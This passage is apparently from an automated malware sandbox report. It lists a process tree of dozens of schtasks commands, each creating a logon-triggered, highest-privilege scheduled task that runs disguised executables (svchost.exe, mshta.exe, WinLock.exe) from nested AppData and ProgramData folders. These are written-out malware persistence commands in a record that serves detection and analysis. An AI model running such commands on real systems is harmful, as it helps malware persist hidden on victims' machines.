    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3452
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:14620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_31" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_31" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TSTheme_32" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\UpdateCache\TSTheme.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12428
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TSTheme_32" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\UpdateCache\TSTheme.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_proquota_1" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:10868
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_proquota_1" /tr ""C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\UpdateCache\proquota.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8188
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_2" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:10556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchProtocolHost_3" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchProtocolHost_3" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4156
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttunesvr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iexpress_6" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\UpdateCache\iexpress.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:15472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iexpress_6" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\UpdateCache\iexpress.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6480
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_7" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_7" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_8" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sort_8" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_10" /tr ""C:\Users\Admin\AppData\Local\Temp\2339319777\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:7472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RpcPing_10" /tr ""C:\Users\Admin\AppData\Local\Temp\2339319777\Logs\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_perfhost_11" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_perfhost_11" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8604
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:6720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_13" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_13" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttunesvr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9292
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_16" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpresult_16" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:15800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_17" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_17" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_18" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5900
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_18" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10012
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msinfo32_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msinfo32_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:14004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_21" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_21" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11768
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mshta_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mshta.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mshta_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mshta.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_23" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3812
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_23" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8180
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4944
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchWinApp_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchWinApp_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9072
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dplaysvr_26" /tr ""C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\UpdateCache\dplaysvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dplaysvr_26" /tr ""C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\UpdateCache\dplaysvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9444
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_27" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Utilman_27" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11396
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DevicePairingWizard_28" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14876
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DevicePairingWizard_28" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9032
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_notepad_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\UpdateCache\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_notepad_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\UpdateCache\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sfc_31" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sfc_31" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_nslookup_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\nslookup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_nslookup_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\nslookup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:15716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_2" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_chkntfs_3" /tr ""C:\ProgramData\MicrosoftService\chkntfs.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_chkntfs_3" /tr ""C:\ProgramData\MicrosoftService\chkntfs.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RpcPing_5" /tr ""C:\Users\Admin\AppData\Local\Temp\2339319777\Logs\UpdateCache\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RpcPing_5" /tr ""C:\Users\Admin\AppData\Local\Temp\2339319777\Logs\UpdateCache\UpdateCache\RpcPing.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_6" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_6" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_7" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaUacHelper_8" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\UpdateCache\RdpSaUacHelper.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5292
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventvwr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11640
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:14660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_eventvwr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpresult_11" /tr ""C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\gpresult.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TSTheme_12" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\TSTheme.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:15392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TSTheme_12" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\TSTheme.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15900
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_13" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:14116
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_13" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6284
- C:\Windows\SysWOW64\cmd.exe
